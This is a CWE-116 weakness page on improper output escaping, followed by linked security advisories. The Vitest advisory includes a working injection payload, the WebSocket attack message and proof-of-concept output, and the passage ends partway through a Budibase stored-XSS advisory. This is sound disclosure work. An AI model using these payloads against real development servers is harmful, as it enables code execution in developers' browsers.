Common Weakness Enumeration

CWE-116

Weakness Allowed-with-Review

Improper Encoding or Escaping of Output

Abstraction: Class · Status: Draft

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

Dimensions

  • Behavior-Type: Encoding or Escaping
  • Behavior-Property: Improper
  • Other: Output
Mapping guidance

This CWE entry is a Class and might have Base-level children that would be more appropriate

Examine children of this entry to see if there is a better fit

Relationships and members
ChildOf: CWE-707 · View CWE-1000
CanPrecede: CWE-74 · View CWE-1000
Modes of introduction
Implementation
Operation
Detection methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness: Moderate

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Notes

Maintenance · CWE 5.0 · 2026-10-28

The relationships between encoding/escaping as a protection mechanism (CWE-116) and its contribution to injection (CWE-74) needs to be better clarified in this entry and others.

Relationship

This weakness can be primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

Relationship

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks.

However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

Terminology

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. The concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

Theoretical

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

Research Gap

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

Content history
Submission: CWE Community · 2006-07-19 · CWE Draft 3

Submitted by members of the CWE community to extend early CWE versions

Modification: Sean Eidemiller · Cigital · 2008-07-01 · CWE 1.0

added/updated demonstrative examples

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Name, Relationships

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2009-03-10 · CWE 1.3

updated Description, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Demonstrative_Examples, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2011-03-29 · CWE 1.12

updated Relationship_Notes, Relationships

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2011-09-13 · CWE 2.1

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated References, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-10-30 · CWE 2.3

updated Potential_Mitigations

Modification: CWE Content Team · MITRE · 2014-06-23 · CWE 2.7

updated References

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Demonstrative_Examples, Relationships

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-05-03 · CWE 2.11

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations

Modification: CWE Content Team · MITRE · 2021-03-15 · CWE 4.4

updated Relationships, Terminology_Notes

Modification: CWE Content Team · MITRE · 2021-10-28 · CWE 4.6

updated Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Description

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated References, Relationships, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes

Modification: CWE Content Team · MITRE · 2024-07-16 · CWE 4.15

updated Applicable_Platforms

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Demonstrative_Examples, Relationships, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Relationships

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Background_Details, Common_Consequences, Description, Dimensions, References, Relationship_Notes, Relationships, Taxonomy_Mappings

947 vulnerabilities reference this CWE, most recent first.

GHSA-QWQ5-HM76-R6P9

Vulnerability from github – Published: 2026-10-21 09:30 – Updated: 2026-10-21 09:30
VLAI
Details

The HappyForms WordPress plugin before 1.26.15 does not sanitise or escape a user-controlled referral value before embedding it in the form notification email, allowing unauthenticated attackers to inject arbitrary HTML into the emails site administrators receive.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-14556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-21T09:17:07Z",
    "severity": "MODERATE"
  },
  "details": "The HappyForms WordPress plugin before 1.26.15 does not sanitise or escape a user-controlled referral value before embedding it in the form notification email, allowing unauthenticated attackers to inject arbitrary HTML into the emails site administrators receive.",
  "id": "GHSA-qwq5-hm76-r6p9",
  "modified": "2026-10-21T09:30:30Z",
  "published": "2026-10-21T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14556"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/7673862c-b37c-4c7e-af3f-c32cbd2deb23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QXG6-89MG-RQV8

Vulnerability from github – Published: 2026-10-21 19:54 – Updated: 2026-10-21 19:54
VLAI
Summary
Vitest: Code injection via unauthenticated manual mock registration
Details

Summary

@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.

Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.

Details

packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:

export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
  const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`

moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.

packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:

configureServer(server) {
  if (options.registerWebSocketEvents === false) { return }
  server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
    if (event.type === 'manual') {
      const module = ManualMockedModule.fromJSON(event, async () => {
        const keys = await getFactoryExports(event.url)
        return Object.fromEntries(keys.map(key => [key, null]))
      })
      registry.add(module)                       // no validation of `id` or `url`
    }
    else {
      if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }

event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.

With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:

const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.

Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

PoC

poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.

Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.

git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh

Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):

import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()

The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:

{ "type": "custom", "event": "vitest:interceptor:register",
  "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
            "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }

then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.

Observed output:

PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400
PASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400
PASS  negative control: with no mock registered the real module is served
PASS  negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
    const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");

    let __0 = __factoryModule__["a"]
    export { __0 as "a" }
    if (__factoryModule__.__factoryPromise != null) {
      __factoryModule__.__factoryPromise.then((resolvedModule) => {
        __0 = resolvedModule["a"];
      })
    }
PASS  attacker statement is present in the module the dev server serves
PASS  the real module body was replaced
PASS  the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE
  • Positive control — with no mock registered, /src/app.js is served with its real body, so the harness demonstrably works.
  • Negative control — the same registration with a harmless url replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.
  • Precondition controls — the two Origin probes record the boundary honestly.
  • Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.

Reproduced three times from a clean mktemp fixture, exit 0 each time.

Impact

Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/mocker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0-beta.7"
            },
            {
              "fixed": "4.1.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@vitest/mocker"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-beta.1"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-306",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-21T19:54:26Z",
    "nvd_published_at": "2026-10-20T16:17:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`@vitest/mocker`\u0027s `interceptorPlugin` accepts mock registrations on Vite\u0027s dev-server WebSocket with no authentication, and interpolates the mock\u0027s `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer\u0027s browser on the dev-server origin.\n\nSame handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator.\n\n### Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code.\n\nProjects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3.\n\n### Details\n\n`packages/mocker/src/utils.ts:6-9` builds module source by string interpolation:\n\n```ts\nexport function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = \u0027\"__vitest_mocker__\"\u0027): string {\n  const source = `\nconst __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule(\"${moduleUrl}\");\n`\n```\n\n`moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation.\n\n`packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket:\n\n```ts\nconfigureServer(server) {\n  if (options.registerWebSocketEvents === false) { return }\n  server.ws.on(\u0027vitest:interceptor:register\u0027, (event: MockedModuleSerialized) =\u003e {\n    if (event.type === \u0027manual\u0027) {\n      const module = ManualMockedModule.fromJSON(event, async () =\u003e {\n        const keys = await getFactoryExports(event.url)\n        return Object.fromEntries(keys.map(key =\u003e [key, null]))\n      })\n      registry.add(module)                       // no validation of `id` or `url`\n    }\n    else {\n      if (event.type === \u0027redirect\u0027) { /* fs allowlist check added in #10972 */ }\n```\n\n`event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id.\n\nWith `url = \u0027x\"); globalThis.ARES_INJECTED = 1; void(\"\u0027` a request for `/src/app.js` is answered with valid, executable JavaScript:\n\n```js\nconst __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n```\n\n`getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too \u2014 but each name is emitted into `__factoryModule__[\"X\"]`, `export { __0 as \"X\" }` and `resolvedModule[\"X\"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one.\n\n**Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it \u2014 the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server\u0027s port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.\n\n### PoC\n\n`poc/mocker-manual-mock-injection/` \u2014 `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text \u2014 the script never evaluates it.\n\nEnvironment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.\n\n```bash\ngit clone https://github.com/vitest-dev/vitest \u0026\u0026 cd vitest\ngit checkout 9e1166959e14bd32298d8a0e85352431c769ec7a\npnpm install \u0026\u0026 pnpm build\nREPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh\n```\n\nRequired configuration \u2014 the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way):\n\n```ts\nimport { interceptorPlugin } from \u0027@vitest/mocker/node\u0027\nexport default defineConfig({ plugins: [interceptorPlugin()] })   // or mockerPlugin()\n```\n\nThe attack is one WebSocket message to `ws://\u003chost\u003e:\u003cport\u003e/` with subprotocol `vite-hmr`:\n\n```json\n{ \"type\": \"custom\", \"event\": \"vitest:interceptor:register\",\n  \"data\": { \"type\": \"manual\", \"raw\": \"\", \"id\": \"\u003cabs path of a served module\u003e\",\n            \"url\": \"x\\\"); globalThis.ARES_INJECTED = 1; void(\\\"\" } }\n```\n\nthen answering the server\u0027s `vitest:interceptor:resolve` with `{\"type\":\"custom\",\"event\":\"vitest:interceptor:resolved\",\"data\":{\"url\":\"\u003csame url\u003e\",\"keys\":[\"a\"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used.\n\nObserved output:\n\n```\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example  result=400\nPASS  precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000  result=400\nPASS  negative control: with no mock registered the real module is served\nPASS  negative control: a mock with a harmless url replaces the module but injects nothing\n--- module served for /src/app.js ---\n    const __factoryModule__ = await globalThis[\"__vitest_mocker__\"].getFactoryModule(\"x\"); globalThis.ARES_INJECTED = 1; void(\"\");\n\n    let __0 = __factoryModule__[\"a\"]\n    export { __0 as \"a\" }\n    if (__factoryModule__.__factoryPromise != null) {\n      __factoryModule__.__factoryPromise.then((resolvedModule) =\u003e {\n        __0 = resolvedModule[\"a\"];\n      })\n    }\nPASS  attacker statement is present in the module the dev server serves\nPASS  the real module body was replaced\nPASS  the injected module parses as JavaScript (Vite import analysis accepted it)\n\nRESULT: VULNERABLE\n```\n\n* **Positive control** \u2014 with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works.\n* **Negative control** \u2014 the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.\n* **Precondition controls** \u2014 the two `Origin` probes record the boundary honestly.\n* Vite\u0027s import analysis rejects malformed output (an earlier deliberately-broken payload failed with \"content contains invalid JS syntax\"), so acceptance proves the injected module is valid, executable JavaScript.\n\nReproduced three times from a clean `mktemp` fixture, exit 0 each time.\n\n### Impact\n\nCode injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer\u0027s browser on the dev-server origin: reading source through the dev server, reading that origin\u0027s storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only \u2014 `configureServer` does not run for `vite build` or `vite preview`.\n\n### Credits\n\n- Thai Son Dinh from VinSOC Labs (R\u0026D)\n\nDisclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.",
  "id": "GHSA-qxg6-89mg-rqv8",
  "modified": "2026-10-21T19:54:26Z",
  "published": "2026-10-21T19:54:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/security/advisories/GHSA-qxg6-89mg-rqv8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vitest-dev/vitest"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v4.1.12"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vitest: Code injection via unauthenticated manual mock registration"
}

GHSA-R27J-R277-J56H

Vulnerability from github – Published: 2026-01-28 09:30 – Updated: 2026-02-04 12:31
VLAI
Details

CSS-based exfiltration of the content from partially encrypted emails when allowing remote content. This vulnerability affects Thunderbird < 147.0.1 and Thunderbird < 140.7.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-28T08:16:03Z",
    "severity": "MODERATE"
  },
  "details": "CSS-based exfiltration of the content from partially encrypted emails when allowing remote content. This vulnerability affects Thunderbird \u003c 147.0.1 and Thunderbird \u003c 140.7.1.",
  "id": "GHSA-r27j-r277-j56h",
  "modified": "2026-02-04T12:31:25Z",
  "published": "2026-01-28T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0818"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1881530"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00005.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-07"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R2J6-P67H-Q639

Vulnerability from github – Published: 2020-11-18 21:19 – Updated: 2021-01-07 22:41
VLAI
Summary
Secret disclosure when containing characters that become URI encoded
Details

Impact

Secrets that would normally be masked by semantic-release can be accidentally disclosed if they contain characters that become encoded when included in a URL.

Patches

Fixed in v17.2.3

Workarounds

Secrets that do not contain characters that become encoded when included in a URL are already masked properly.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 17.2.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "semantic-release"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "17.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-26226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-11-18T21:18:55Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nSecrets that would normally be masked by `semantic-release` can be accidentally disclosed if they contain characters that become encoded when included in a URL.\n\n### Patches\n\nFixed in v17.2.3\n\n### Workarounds\n\nSecrets that do not contain characters that become encoded when included in a URL are already masked properly.",
  "id": "GHSA-r2j6-p67h-q639",
  "modified": "2021-01-07T22:41:34Z",
  "published": "2020-11-18T21:19:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/semantic-release/semantic-release/security/advisories/GHSA-r2j6-p67h-q639"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/semantic-release/semantic-release/commit/ca90b34c4a9333438cc4d69faeb43362bb991e5a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Secret disclosure when containing characters that become URI encoded"
}

GHSA-R2Q3-7M4H-63QG

Vulnerability from github – Published: 2026-11-20 23:49 – Updated: 2026-11-20 23:49
VLAI
Summary
Budibase: Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin
Details

Description

Summary

A low-privileged application end-user (role BASIC - not a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a builder or admin later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section Formula column editor, or any binding drawer), the stored value is rendered as raw HTML and the attacker's JavaScript executes in the Builder's origin.

The Builder SPA is served by nginx with no Content-Security-Policy (the CSP middleware only decorates the server-rendered published-app document, not /builder/). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a cross-privilege stored XSS (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS.

Details

Root cause 1 - the escaper is a no-op. packages/frontend-core/src/utils/jsonFormatter.ts (format()):

jsonString = jsonString
  .replace(/&/g, "&")   // no-op: replaces "&" with "&"  (should be "&amp;")
  .replace(/</g, "<")   // no-op                          (should be "&lt;")
  .replace(/>/g, ">")   // no-op                          (should be "&gt;")

return jsonString.replace(
  /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+...)/g,
  (match) => {
    if (/^"/.test(match)) {
      if (/:$/.test(match)) { color = colors.keyColor }                        // KEY: NOT escaped
      else { match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"' } // string VALUE: escaped
    }
    return `<span style="...">${match}</span>`
  })

Only quoted JSON string values are passed through escapeHtml. Everything else is emitted verbatim, because the leading .replace(/&/g,"&")… chain replaces each character with itself. Two consequences:

  1. A raw, non-JSON string (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned completely un-escaped.
  2. Object keys are never escaped.

Root cause 2 - the output is injected with {@html}. packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte:

  • line 116: {@html logLine.log}
  • line 128: {@html highlightedResult}

highlightedResult is the output of JsonFormatter.format(), so the un-escaped attacker string is inserted into the DOM as live markup.

Root cause 3 - binding output is not entity-escaped upstream. Every {{ … }} statement is wrapped by the ALL helper in packages/string-templates/src/helpers/index.ts, which returns a Handlebars.SafeString; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/{@html} sink.

Root cause 4 - no CSP on the Builder. GET /builder/* is served as a static SPA by nginx with no Content-Security-Policy header (verified live below). The contentSecurityPolicy middleware (packages/backend-core/src/middleware/contentSecurityPolicy.ts) only sets a nonce-based CSP on the server-rendered published-app document (serveApp). So in the Builder origin there is no script-src restriction and inline event handlers run freely.

